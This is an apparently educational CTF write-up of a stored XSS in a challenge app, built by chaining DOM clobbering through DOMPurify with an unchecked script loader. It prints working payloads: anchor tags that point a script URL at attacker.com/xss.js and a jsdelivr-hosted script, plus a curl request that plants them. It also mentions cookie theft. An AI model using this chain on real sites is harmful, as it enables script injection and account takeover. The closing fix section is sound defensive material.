Stored XSS via DOM Clobbering + Unsafe Script Gadget
Two quiet bugs — DOMPurify's tolerance for clobbering anchors and a script loader that trusts whatever it finds on window — chain together into a stored XSS that fires on any victim with one page load.
The Setup
The challenge is a retro-styled arcade app called Pixel Pioneers. You can register an account, update your display name, and leave testimonials that other users see on the main page.
The obvious attack surface is the testimonials feed — user-submitted content that ends up in the DOM. The app uses DOMPurify 3.0.9 to sanitize it, which is normally a solid choice. For the display name field, the backend strips < and > server-side, so that's a dead end.
At first glance there's nothing here. But after reading the JavaScript carefully, two things stood out that, when combined, bypassed the whole setup:
Neither bug is catastrophic on its own. Together they're a working stored XSS with a one-click trigger.
Reading the Code
First thing I did was read app.js front to back. The testimonials renderer caught my attention immediately. Display names go straight into innerHTML with no sanitization, while the content body gets DOMPurified:
nameDiv.innerHTML = t.user_name; // no sanitization at all
textDiv.innerHTML = DOMPurify.sanitize(t.content);
The name field looks promising — raw innerHTML assignment. But the server blocks angle brackets in names, so that's a wall. The interesting path is the content field, going through DOMPurify.
Then, buried at the bottom of loadTestimonials(), was this:
let config = window.PixelAnalyticsConfig || { enabled: false, scriptUrl: '/js/mock-tracker.js' };
if (config.enabled) {
let s = document.createElement('script');
s.src = config.scriptUrl; // loads whatever this says — no checks
document.body.appendChild(s);
}
This is the gadget. If window.PixelAnalyticsConfig exists with enabled set to something truthy, the app creates a <script> element pointed at scriptUrl and appends it to the page. No origin check. No validation. Completely blind.
So the question became: can I control window.PixelAnalyticsConfig from inside DOMPurify-sanitized HTML? That's where DOM clobbering comes in.
DOM Clobbering via DOMPurify
Quick primer if you haven't seen this before: browsers automatically expose any element with an id attribute as a property on window. If you have <div id="foo"> somewhere in the page, you can reach it as window.foo. It's a legacy browser behavior that's never going away.
It gets more useful when two elements share the same id. The browser wraps them in an HTMLCollection at that property, and sub-properties of that collection can be accessed by each element's name attribute. In other words — two plain <a> tags are enough to fake a two-level JavaScript object.
DOMPurify 3.0.9 blocks scripts, event handlers, and dangerous tags. It fully allows <a> elements with id, name, and href. That's the only gap we need.
The payload is two anchor tags:
<a id="PixelAnalyticsConfig" name="scriptUrl" href="https://attacker.com/xss.js"></a>
<a id="PixelAnalyticsConfig" name="enabled"></a>
Once these land in the DOM, here's what the browser exposes:
window.PixelAnalyticsConfig
→ HTMLCollection(2) [a#PixelAnalyticsConfig, a#PixelAnalyticsConfig]
window.PixelAnalyticsConfig.enabled
→ <a name="enabled"> // a real DOM element — truthy
window.PixelAnalyticsConfig.scriptUrl.toString()
→ "https://attacker.com/xss.js" // HTMLAnchorElement.toString() returns href
The key behavior: HTMLAnchorElement.toString() returns the element's href. When the app does s.src = config.scriptUrl, JavaScript coerces the anchor element to a string automatically — and that string is our URL.
DOMPurify sees two perfectly valid anchor tags and passes them through. It has no way to know they'll clobber a global variable and weaponize a script loader.
The Unsafe Script Gadget
The second bug is the analytics loader we found during recon. It runs at the end of every loadTestimonials() call and checks two things: is config.enabled truthy? Is there a scriptUrl? If yes to both, it appends a script tag to the page pointing at that URL.
The problem is that it never validates what window.PixelAnalyticsConfig actually is. It doesn't check whether it's a plain object. It doesn't verify the URL. It just reads whatever it finds on window and runs with it.
Our clobbered HTMLCollection satisfies both conditions — enabled is a DOM element (truthy), and scriptUrl resolves to our attacker URL via the anchor's href. The app loads our script without question.
This is what makes the chain work. The two bugs don't overlap — one lets you write into the global namespace through sanitized HTML, the other reads from the global namespace without verifying what it got.
The Attack Chain
Attacker posts the payload as a testimonial
The two clobbering anchors get stored in the database. The server doesn't flag them — they look like valid HTML to any sanitizer check at storage time.
Victim opens the testimonials page
One click on the challenge URL is enough. The page fetches and renders the testimonials feed including our stored content.
DOMPurify passes the payload
<a> with id, name, and href are all on the allowlist. The payload survives sanitization completely intact.
Anchors land in the DOM — clobbering takes effect
window.PixelAnalyticsConfig is now an HTMLCollection. .enabled is truthy. .scriptUrl.toString() returns the attacker's URL.
Tracker fires — external script loads — XSS executes
The app appends <script src="attacker.com/xss.js"> to the body. alert(document.domain) fires on the challenge origin.
Reproducing the Bug
Register an account
Go to #register and create any account. Log in to get a valid session cookie.
Submit the clobbering payload as your testimonial
Either use the UI form or send the request directly:
curl -X POST https://challenge-0526.intigriti.io/api/testimonials \
-H "Content-Type: application/json" \
-H "Cookie: session=<your-session>" \
-d '{"content":"<a id=\"PixelAnalyticsConfig\" name=\"scriptUrl\" href=\"https://cdn.jsdelivr.net/gh/renniepak/xss/xss.js\"></a><a id=\"PixelAnalyticsConfig\" name=\"enabled\"></a>"}'
Send the victim to the testimonials page
The payload fires immediately on page load — no further interaction needed:
https://challenge-0526.intigriti.io/challenge#testimonials
Observe execution
The browser loads the feed, clobbering happens silently in the background, and alert(document.domain) pops on the challenge origin.
Final Payload
<a id="PixelAnalyticsConfig"
name="scriptUrl"
href="https://cdn.jsdelivr.net/gh/renniepak/xss/xss.js"></a>
<a id="PixelAnalyticsConfig"
name="enabled"></a>
alert(document.domain);
| Property | Resolves To | Result |
|---|---|---|
window.PixelAnalyticsConfig |
HTMLCollection of 2 anchors | Truthy |
config.enabled |
<a name="enabled"> element |
Truthy |
config.scriptUrl |
<a name="scriptUrl"> element |
Truthy |
config.scriptUrl.toString() |
Anchor's href URL | Attacker URL |
script.src = config.scriptUrl |
External JS appended to body | XSS |
What You Can Do With It
Once an external script runs on the challenge origin, the usual XSS options are on the table. The session cookies don't have the HttpOnly flag, so JavaScript can read them directly — account takeover with one cookie exfil. Full DOM access also means injecting fake login forms to harvest credentials, or just redirecting users to somewhere else entirely.
For a CTF this is rated High, which makes sense. Stored XSS that fires with no user interaction beyond a single page visit is a genuinely dangerous class of bug. The one-click delivery and the fact that any user visiting the testimonials page is affected makes the blast radius wide.
How to Fix It
Both issues have clean fixes. They're independent — you'd want to apply all of them:
| Issue | Fix |
|---|---|
| DOM Clobbering | Pass FORBID_ATTR: ['id', 'name'] to DOMPurify — removes the attributes that make clobbering possible |
| Script gadget trusts window | Check config.constructor === Object before using the config — DOM elements will fail this immediately |
| No Content Security Policy | A script-src 'self' header would have blocked the external script from loading entirely |
| Cookie flags | Add HttpOnly and Secure to session cookies to limit post-XSS damage |
Hardened version of the tracker code
// Strip id and name to prevent DOM clobbering
textDiv.innerHTML = DOMPurify.sanitize(t.content, {
FORBID_ATTR: ['id', 'name']
});
// Only use config if it's actually a plain object
const raw = window.PixelAnalyticsConfig;
if (raw && raw.constructor === Object && typeof raw.scriptUrl === 'string') {
// safe to proceed
}
The constructor === Object check is the key. DOM elements like HTMLCollection have their own constructors, so a clobbered value fails immediately. A clobbered element will never satisfy this check.